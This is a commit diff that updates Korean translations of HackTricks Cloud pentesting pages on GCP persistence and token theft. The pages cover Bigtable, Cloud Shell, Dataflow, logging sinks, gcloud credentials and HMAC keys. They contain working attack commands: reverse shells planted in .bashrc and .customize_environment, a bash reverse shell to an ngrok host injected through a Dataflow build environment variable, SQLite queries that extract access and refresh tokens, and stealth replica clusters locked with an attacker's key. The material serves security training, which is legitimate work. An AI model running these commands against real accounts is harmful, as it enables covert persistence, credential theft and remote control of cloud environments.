mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 15:50:19 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-stora
This commit is contained in:
@@ -1,20 +1,24 @@
|
||||
# GCP - Bigtable 영속성
|
||||
# GCP - Bigtable 지속성
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Bigtable에 대한 자세한 정보는 다음을 확인하세요:
|
||||
Bigtable에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 전용 공격자 App Profile
|
||||
### 공격자 전용 App Profile
|
||||
|
||||
**권한:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
|
||||
트래픽을 복제 클러스터로 라우팅하도록 app profile을 생성하고 Data Boost를 활성화하여 수비자가 눈치챌 수 있는 프로비저닝된 노드에 의존하지 않도록 하세요.
|
||||
트래픽을 replica cluster로 라우팅하는 app profile을 생성하고 Data Boost를 활성화하여 방어자가 알아차릴 수 있는 프로비저닝된 노드에 의존하지 않도록 하세요.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>스텔스 app profile 생성</summary>
|
||||
```bash
|
||||
gcloud bigtable app-profiles create stealth-profile \
|
||||
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
|
||||
@@ -24,29 +28,43 @@ gcloud bigtable app-profiles update stealth-profile \
|
||||
--instance=<instance-id> --data-boost \
|
||||
--data-boost-compute-billing-owner=HOST_PAYS
|
||||
```
|
||||
이 프로필이 존재하는 한, 이를 참조하는 새 자격 증명으로 다시 연결할 수 있습니다.
|
||||
</details>
|
||||
|
||||
이 프로필이 존재하는 한, 이를 참조하는 새 자격증명으로 다시 연결할 수 있습니다.
|
||||
|
||||
### 자체 복제 클러스터 유지
|
||||
|
||||
**권한:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
**Permissions:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
|
||||
조용한 리전에 최소 노드 수의 클러스터를 프로비저닝하세요. 클라이언트 자격 증명이 사라지더라도, **클러스터는 방어팀이 명시적으로 제거할 때까지 모든 테이블의 전체 복사본을 유지합니다.**
|
||||
조용한 리전에 최소 노드 수의 클러스터를 프로비저닝하세요. 클라이언트 식별자가 사라지더라도, **클러스터는 방어자가 명시적으로 제거할 때까지 모든 테이블의 전체 복사본을 유지합니다.**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>복제 클러스터 생성</summary>
|
||||
```bash
|
||||
gcloud bigtable clusters create dark-clone \
|
||||
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
|
||||
```
|
||||
Keep an eye on it through `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` so you can scale up instantly when you need to pull data.
|
||||
</details>
|
||||
|
||||
### Lock replication behind your own CMEK
|
||||
`gcloud bigtable clusters describe dark-clone --instance=<instance-id>`로 상태를 주시하면 데이터를 가져와야 할 때 즉시 스케일 업할 수 있습니다.
|
||||
|
||||
**Permissions:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
|
||||
### 자체 CMEK 뒤에 복제 잠그기
|
||||
|
||||
클론을 띄울 때 자신의 KMS 키를 사용하세요. 해당 키 없이는 Google이 클러스터를 재생성하거나 페일오버할 수 없으므로, blue teams는 만지기 전에 반드시 당신과 조율해야 합니다.
|
||||
**권한:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
|
||||
|
||||
클론을 생성할 때 본인의 KMS 키를 사용하세요. 그 키가 없으면 Google은 클러스터를 재생성하거나 fail over할 수 없으므로 blue teams는 손대기 전에 반드시 당신과 조율해야 합니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>CMEK로 보호된 클러스터 생성</summary>
|
||||
```bash
|
||||
gcloud bigtable clusters create cmek-clone \
|
||||
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
|
||||
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
|
||||
```
|
||||
프로젝트의 키를 회전시키거나 비활성화하면 레플리카를 즉시 사용할 수 없게 만들 수 있습니다(나중에 다시 활성화할 수 있음).
|
||||
</details>
|
||||
|
||||
프로젝트에서 키를 교체하거나 비활성화하면 리플리카를 즉시 사용 불능으로 만들 수 있습니다(나중에 다시 켤 수는 있습니다).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
@@ -12,47 +12,65 @@
|
||||
|
||||
### Persistent Backdoor
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/)은 브라우저에서 직접 클라우드 리소스에 대한 명령줄 액세스를 제공하며, 관련 비용이 없습니다.
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/)은 브라우저에서 추가 비용 없이 클라우드 리소스에 대한 명령줄 접근을 제공합니다.
|
||||
|
||||
**웹 콘솔**에서 또는 **`gcloud cloud-shell ssh`**를 실행하여 Google의 Cloud Shell에 액세스할 수 있습니다.
|
||||
웹 콘솔에서 또는 **`gcloud cloud-shell ssh`**를 실행하여 Google Cloud Shell에 접근할 수 있습니다.
|
||||
|
||||
이 콘솔은 공격자에게 흥미로운 기능을 제공합니다:
|
||||
이 콘솔은 attackers에게 몇 가지 흥미로운 기능을 제공합니다:
|
||||
|
||||
1. **Google Cloud에 액세스할 수 있는 모든 Google 사용자**는 완전히 인증된 Cloud Shell 인스턴스에 액세스할 수 있습니다 (서비스 계정은 조직의 소유자일지라도 가능합니다).
|
||||
2. 해당 인스턴스는 **활동이 없으면 최소 120일 동안 홈 디렉토리를 유지**합니다.
|
||||
3. 해당 인스턴스의 활동을 **모니터링할 수 있는 조직의 기능이 없습니다**.
|
||||
1. **Google Cloud에 접근 권한이 있는 모든 Google 사용자**는 완전히 인증된 Cloud Shell 인스턴스에 접근할 수 있습니다 (Service Accounts도 가능하며, 심지어 조직의 Owners인 경우에도 포함됩니다).
|
||||
2. 해당 인스턴스는 활동이 없을 경우 **최소 120일 동안 홈 디렉토리를 유지**합니다.
|
||||
3. 조직이 해당 인스턴스의 활동을 모니터링할 **수단이 없습니다**.
|
||||
|
||||
이는 기본적으로 공격자가 사용자의 홈 디렉토리에 백도어를 설치할 수 있으며, 사용자가 최소 120일마다 GC Shell에 연결하기만 하면 백도어가 살아남고 공격자는 매번 실행할 때마다 셸을 얻을 수 있음을 의미합니다.
|
||||
이것은 기본적으로 attacker가 사용자의 홈 디렉토리에 backdoor를 설치할 수 있음을 의미하며, 사용자가 적어도 120일마다 GC Shell에 접속하는 한 backdoor는 유지되고 attacker는 다음을 실행하여 매번 shell을 얻을 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Add reverse shell to .bashrc</summary>
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
홈 폴더에 **`.customize_environment`**라는 또 다른 파일이 있으며, 이 파일이 존재하면 사용자가 **cloud shell**에 접근할 때마다 **실행됩니다** (이전 기술과 마찬가지로). 사용자가 "자주" cloud shell을 사용하는 한 지속성을 유지하기 위해 이전 백도어 또는 다음과 같은 백도어를 삽입하십시오:
|
||||
</details>
|
||||
|
||||
홈 폴더에 **`.customize_environment`**라는 또 다른 파일이 있으며, 존재하는 경우 사용자가 **cloud shell**에 접근할 때마다 **매번 실행됩니다** (이전 기법과 같이). 이전 backdoor를 삽입하거나 다음과 같은 것을 넣어 사용자가 "자주" cloud shell를 사용할 동안 persistence를 유지하세요:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>.customize_environment backdoor 만들기</summary>
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
nc <LISTENER-ADDR> 443 -e /bin/bash
|
||||
```
|
||||
> [!WARNING]
|
||||
> **인증이 필요한 작업을 처음 수행할 때** 사용자의 브라우저에 팝업 권한 부여 창이 나타나는 것이 중요합니다. 이 창을 수락해야 명령이 실행될 수 있습니다. 예상치 못한 팝업이 나타나면 의심을 불러일으킬 수 있으며 사용 중인 지속성 방법이 손상될 수 있습니다.
|
||||
</details>
|
||||
|
||||
이것은 클라우드 셸에서 `gcloud projects list`를 실행했을 때 (공격자로서) 브라우저 사용자 세션에서 본 팝업입니다:
|
||||
> [!WARNING]
|
||||
> 중요한 점은 **인증이 필요한 작업이 처음 수행될 때**, 사용자 브라우저에 팝업 승인 창이 나타난다는 것입니다. 이 창은 명령이 실행되기 전에 수락되어야 합니다. 예기치 않은 팝업이 나타나면 의심을 유발하여 사용 중인 지속성 방법을 손상시킬 수 있습니다.
|
||||
|
||||
This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
그러나 사용자가 클라우드 셸을 적극적으로 사용한 경우 팝업이 나타나지 않으며 **다음과 같이 사용자의 토큰을 수집할 수 있습니다**:
|
||||
However, if the user has actively used the Cloud Shell, the pop-up won't appear and you can **사용자의 토큰을 수집할 수 있습니다**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Cloud Shell에서 액세스 토큰 가져오기</summary>
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
```
|
||||
</details>
|
||||
|
||||
#### SSH 연결이 설정되는 방법
|
||||
|
||||
기본적으로, 이 3개의 API 호출이 사용됩니다:
|
||||
기본적으로 다음 세 가지 API 호출이 사용됩니다:
|
||||
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (로컬에서 생성한 공개 키를 추가하게 됩니다)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (인스턴스를 시작하게 됩니다)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (구글 클라우드 셸의 IP를 알려줍니다)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (로컬에서 생성한 public key를 추가합니다)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (instance를 시작합니다)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (google cloud shell의 ip를 알려줍니다)
|
||||
|
||||
하지만 [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)에서 추가 정보를 찾을 수 있습니다.
|
||||
하지만 자세한 정보는 [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)에서 확인할 수 있습니다
|
||||
|
||||
## 참고자료
|
||||
|
||||
|
||||
@@ -1,12 +1,16 @@
|
||||
# GCP - Dataflow Persistence
|
||||
# GCP - Dataflow 지속성
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataflow
|
||||
|
||||
### 보이지 않는 지속성 있는 빌트 컨테이너
|
||||
### 빌드된 컨테이너의 보이지 않는 지속성
|
||||
|
||||
다음의 [**문서의 튜토리얼**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates)을 따라 새로운 (예: python) 플렉스 템플릿을 생성할 수 있습니다:
|
||||
Following the [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) you can create a new (e.g. python) flex template:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>backdoor가 포함된 Dataflow flex template 생성</summary>
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
@@ -36,9 +40,15 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
```
|
||||
**빌드 중에, 리버스 셸을 얻을 수 있습니다** (이전 예제와 같이 env 변수를 악용하거나 Docker 파일을 실행하여 임의의 작업을 설정하는 다른 매개변수를 사용할 수 있습니다). 이 순간, 리버스 셸 안에서 **`/template` 디렉토리로 이동하여 실행될 주요 파이썬 스크립트의 코드를 수정할 수 있습니다 (우리의 예제에서는 `getting_started.py`입니다)**. 여기에서 백도어를 설정하여 작업이 실행될 때마다 이를 실행하게 합니다.
|
||||
</details>
|
||||
|
||||
그런 다음, 다음 번에 작업이 실행되면, 손상된 컨테이너가 실행됩니다:
|
||||
**빌드되는 동안, reverse shell을 얻게 됩니다** (이전 예제와 마찬가지로 env variables를 악용하거나 Docker 파일을 임의 명령으로 실행하도록 설정하는 다른 params를 이용할 수 있습니다). 이 순간, reverse shell 안에서 **`/template` 디렉터리로 이동하여 실행될 메인 python 스크립트의 코드를 수정할 수 있습니다 (예제에서는 `getting_started.py`입니다)**. 여기서 backdoor를 심어 두면 job이 실행될 때마다 그것이 실행됩니다.
|
||||
|
||||
그 다음 job이 실행될 때, 빌드된 손상된 container가 실행됩니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dataflow template 실행</summary>
|
||||
```bash
|
||||
# Run template
|
||||
gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
@@ -46,4 +56,6 @@ gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## 로깅
|
||||
|
||||
로깅에 대한 더 많은 정보는 다음에서 확인하세요:
|
||||
로깅에 대한 자세한 정보는 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
@@ -12,8 +12,14 @@
|
||||
|
||||
### `logging.sinks.create`
|
||||
|
||||
공격자가 접근할 수 있는 목적지로 로그를 유출하기 위해 싱크를 생성합니다:
|
||||
로그를 공격자가 접근 가능한 위치로 exfiltrate하기 위해 sink를 생성합니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>로깅 sink 생성</summary>
|
||||
```bash
|
||||
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,50 +2,76 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### 인증된 사용자 토큰
|
||||
### 인증된 사용자 Tokens
|
||||
|
||||
사용자의 **현재 토큰**을 얻으려면 다음을 실행할 수 있습니다:
|
||||
사용자의 **current token**을 얻으려면 다음을 실행하세요:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>SQLite 데이터베이스에서 access token 가져오기</summary>
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
이 페이지에서 **gcloud를 사용하여 이 토큰을 직접 사용하는 방법**을 확인하세요:
|
||||
</details>
|
||||
|
||||
해당 페이지에서 이 token을 gcloud로 **직접 사용하는 방법**을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
|
||||
{{#endref}}
|
||||
|
||||
**새 액세스 토큰을 생성하는** 세부정보를 얻으려면 다음을 실행하세요:
|
||||
세부 정보를 얻어 **새 access token을 생성**하려면 다음을 실행하세요:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>SQLite 데이터베이스에서 refresh token 가져오기</summary>
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
**`$HOME/.config/gcloud/application_default_credentials.json`**와 **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**에서 리프레시 토큰을 찾는 것도 가능합니다.
|
||||
</details>
|
||||
|
||||
리프레시 토큰, 클라이언트 ID 및 클라이언트 비밀을 사용하여 새로 갱신된 액세스 토큰을 얻으려면 다음을 실행하십시오:
|
||||
다음 위치에서도 refresh tokens를 찾을 수 있습니다: **`$HOME/.config/gcloud/application_default_credentials.json`** 및 **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
|
||||
새로 갱신된 access token을 얻으려면 **refresh token**, client ID 및 client secret을 사용하여 다음을 실행하세요:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>refresh token을 사용해 새로운 access token 얻기</summary>
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
**Admin** > **Security** > **Google Cloud session control**에서 refresh token의 유효성을 관리할 수 있으며, 기본적으로 16시간으로 설정되어 있지만 만료되지 않도록 설정할 수 있습니다:
|
||||
리프레시 토큰의 유효성은 **Admin** > **Security** > **Google Cloud session control**에서 관리할 수 있으며, 기본값은 16h로 설정되어 있으나 만료되지 않도록 설정할 수도 있습니다:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth flow
|
||||
### 인증 흐름
|
||||
|
||||
`gcloud auth login`과 같은 것을 사용할 때의 인증 흐름은 브라우저에서 프롬프트를 열고 모든 범위를 수락한 후 브라우저가 도구에 의해 열려 있는 http 포트로 다음과 같은 요청을 보냅니다:
|
||||
`gcloud auth login` 같은 것을 사용할 때 인증 흐름은 브라우저에서 프롬프트를 열고, 모든 스코프를 승인하면 브라우저가 도구가 열어 놓은 HTTP 포트로 다음과 같은 요청을 보냅니다:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
그런 다음, gcloud는 하드코딩된 `client_id` (`32555940559.apps.googleusercontent.com`) 및 **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`)와 함께 상태 및 코드를 사용하여 **최종 리프레시 토큰 데이터**를 가져옵니다.
|
||||
Then, gcloud will use the state and code with a some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) and **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) to get the **final refresh token data**.
|
||||
|
||||
> [!CAUTION]
|
||||
> localhost와의 통신은 HTTP로 이루어지므로 리프레시 토큰을 얻기 위해 데이터를 가로챌 수 있지만, 이 데이터는 단 1회만 유효하므로 무의미합니다. 파일에서 리프레시 토큰을 읽는 것이 더 쉽습니다.
|
||||
> localhost와의 통신은 HTTP로 이루어지므로 데이터를 가로채 refresh token을 얻을 수 있습니다. 다만 이 데이터는 한 번만 유효하므로(일회용) 실용적이지 않습니다. 파일에서 refresh token을 직접 읽는 편이 더 쉽습니다.
|
||||
|
||||
### OAuth Scopes
|
||||
### OAuth 스코프
|
||||
|
||||
모든 Google 스코프는 [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes)에서 찾거나 다음을 실행하여 얻을 수 있습니다:
|
||||
모든 Google 스코프는 [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes)에서 확인하거나 다음을 실행하여 가져올 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>모든 Google OAuth 스코프 가져오기</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
이 스크립트를 사용하여 **`gcloud`**가 인증에 사용할 수 있는 범위를 확인할 수 있습니다:
|
||||
</details>
|
||||
|
||||
이 스크립트로 **`gcloud`**가 인증에 사용하는 애플리케이션이 지원하는 권한 범위(scopes)를 확인할 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>gcloud에 대해 지원되는 권한 범위 테스트</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -55,7 +81,9 @@ echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
이 앱이 다음 범위를 지원하는지 확인한 후 실행되었습니다:
|
||||
</details>
|
||||
|
||||
실행한 후 이 앱이 다음 스코프를 지원하는 것으로 확인되었습니다:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
@@ -65,24 +93,24 @@ https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
이 앱이 **`drive`** 범위를 지원하는 것은 흥미롭습니다. 이는 공격자가 사용자가 이 범위로 토큰을 생성하도록 강제할 경우 GCP에서 Workspace로 상승할 수 있게 할 수 있습니다.
|
||||
it's interesting to see how this app supports the **`drive`** scope, which could allow a user to escalate from GCP to Workspace if an attacker manages to force the user to generate a token with this scope.
|
||||
|
||||
**여기에서** [**이것을 악용하는 방법을 확인하세요**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
|
||||
**방법 확인** [**abuse this here**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
|
||||
|
||||
### 서비스 계정
|
||||
|
||||
인증된 사용자와 마찬가지로, 서비스 계정의 **비공개 키 파일을 손상시키면** **원하는 만큼 일반적으로 접근할 수 있습니다**.\
|
||||
그러나 서비스 계정의 **OAuth 토큰을 훔치면** 더욱 흥미로울 수 있습니다. 기본적으로 이러한 토큰은 한 시간 동안만 유용하지만, **피해자가 비공식 API 키를 삭제하면 OAuth 토큰은 만료될 때까지 여전히 유효합니다**.
|
||||
인증된 사용자와 마찬가지로, 서비스 계정의 **개인 키 파일을 탈취(compromise the private key file)**하면 보통 **원하는 만큼 해당 계정에 접근할 수 있습니다(access it usually as long as you want)**.\
|
||||
하지만 서비스 계정의 **OAuth token**을 탈취하면 상황이 더 흥미로워질 수 있습니다. 기본적으로 이러한 토큰은 보통 한 시간만 유효하지만, 만약 **피해자가 private api key를 삭제하더라도 OAuh token은 만료될 때까지 여전히 유효합니다**.
|
||||
|
||||
### 메타데이터
|
||||
|
||||
명백히, GCP 환경에서 실행 중인 머신 내부에 있는 한, **메타데이터 엔드포인트에 연락하여 해당 머신에 연결된 서비스 계정에 접근할 수 있습니다** (이 엔드포인트에서 접근할 수 있는 OAuth 토큰은 일반적으로 범위에 의해 제한됩니다).
|
||||
분명히, GCP 환경에서 실행 중인 머신 내부에 있는 한, 메타데이터 엔드포인트에 접속하여 해당 머신에 연결된 서비스 계정에 **접근할 수 있습니다(access the service account attached to that machine contacting the metadata endpoint)** (이 엔드포인트에서 접근할 수 있는 Oauth tokens는 보통 스코프로 제한됩니다).
|
||||
|
||||
### 수정 사항
|
||||
### 완화 조치
|
||||
|
||||
이러한 기술에 대한 몇 가지 수정 사항은 [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)에서 설명되어 있습니다.
|
||||
이러한 기법들에 대한 일부 완화 조치는 [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)에 설명되어 있습니다
|
||||
|
||||
### 참조
|
||||
### 참고자료
|
||||
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - 스토리지 지속성
|
||||
# GCP - Storage Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 스토리지
|
||||
## Storage
|
||||
|
||||
Cloud Storage에 대한 자세한 정보는 다음을 확인하세요:
|
||||
Cloud Storage에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,7 +12,11 @@ Cloud Storage에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
버킷에 대한 지속성을 유지하기 위해 HMAC을 생성할 수 있습니다. 이 기술에 대한 자세한 내용은 [**여기에서 확인하세요**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
버킷에 대한 persistence를 유지하기 위해 HMAC을 생성할 수 있습니다. 이 기법에 대한 자세한 정보는 [**여기**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create)를 확인하세요.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Storage 접근을 위한 HMAC 키 생성 및 사용</summary>
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email>
|
||||
@@ -23,9 +27,11 @@ gsutil config -a
|
||||
# Use it
|
||||
gsutil ls gs://[BUCKET_NAME]
|
||||
```
|
||||
또 다른 익스플로잇 스크립트는 [여기](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py)에서 찾을 수 있습니다.
|
||||
</details>
|
||||
|
||||
### 공개 액세스 제공
|
||||
이 방법에 대한 또 다른 exploit script는 [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py)에서 찾을 수 있습니다.
|
||||
|
||||
### 공개 액세스 허용
|
||||
|
||||
**버킷을 공개적으로 접근 가능하게 만드는 것**은 버킷에 대한 액세스를 유지하는 또 다른 방법입니다. 방법은 다음에서 확인하세요:
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## `App Engine`
|
||||
|
||||
App Engine에 대한 정보는 다음을 확인하세요:
|
||||
For information about App Engine check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -12,30 +12,36 @@ App Engine에 대한 정보는 다음을 확인하세요:
|
||||
|
||||
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
|
||||
|
||||
이 권한으로 할 수 있는 것:
|
||||
이 권한들로 다음을 수행할 수 있습니다:
|
||||
|
||||
- 키 추가
|
||||
- 키 목록
|
||||
- 키 가져오기
|
||||
- 삭제
|
||||
- 키 나열
|
||||
- 키 조회
|
||||
- 키 삭제
|
||||
|
||||
> [!CAUTION]
|
||||
> 그러나, **cli에서 이 정보를 접근할 방법을 찾을 수 없었습니다**, 오직 **웹 콘솔**에서 **Key type**과 **Key name**을 알아야 하며, **app engine이 실행 중인 앱**에서만 가능합니다.
|
||||
> 하지만 저는 **cli에서 이 정보를 접근할 방법을 찾지 못했습니다**, 오직 **web console**에서만 접근할 수 있으며 그곳에서는 **Key type**과 **Key name**을 알아야 하고, 또는 **App Engine에서 실행 중인 앱**에서만 가능합니다.
|
||||
>
|
||||
> 이 권한을 사용하는 더 쉬운 방법을 알고 있다면 Pull Request를 보내주세요!
|
||||
> 이 권한들을 더 쉽게 사용할 수 있는 방법을 알고 있다면 Pull Request를 보내주세요!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
이 권한으로 **앱의 로그를 볼 수 있습니다**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>앱 로그 실시간 보기</summary>
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### 소스 코드 읽기
|
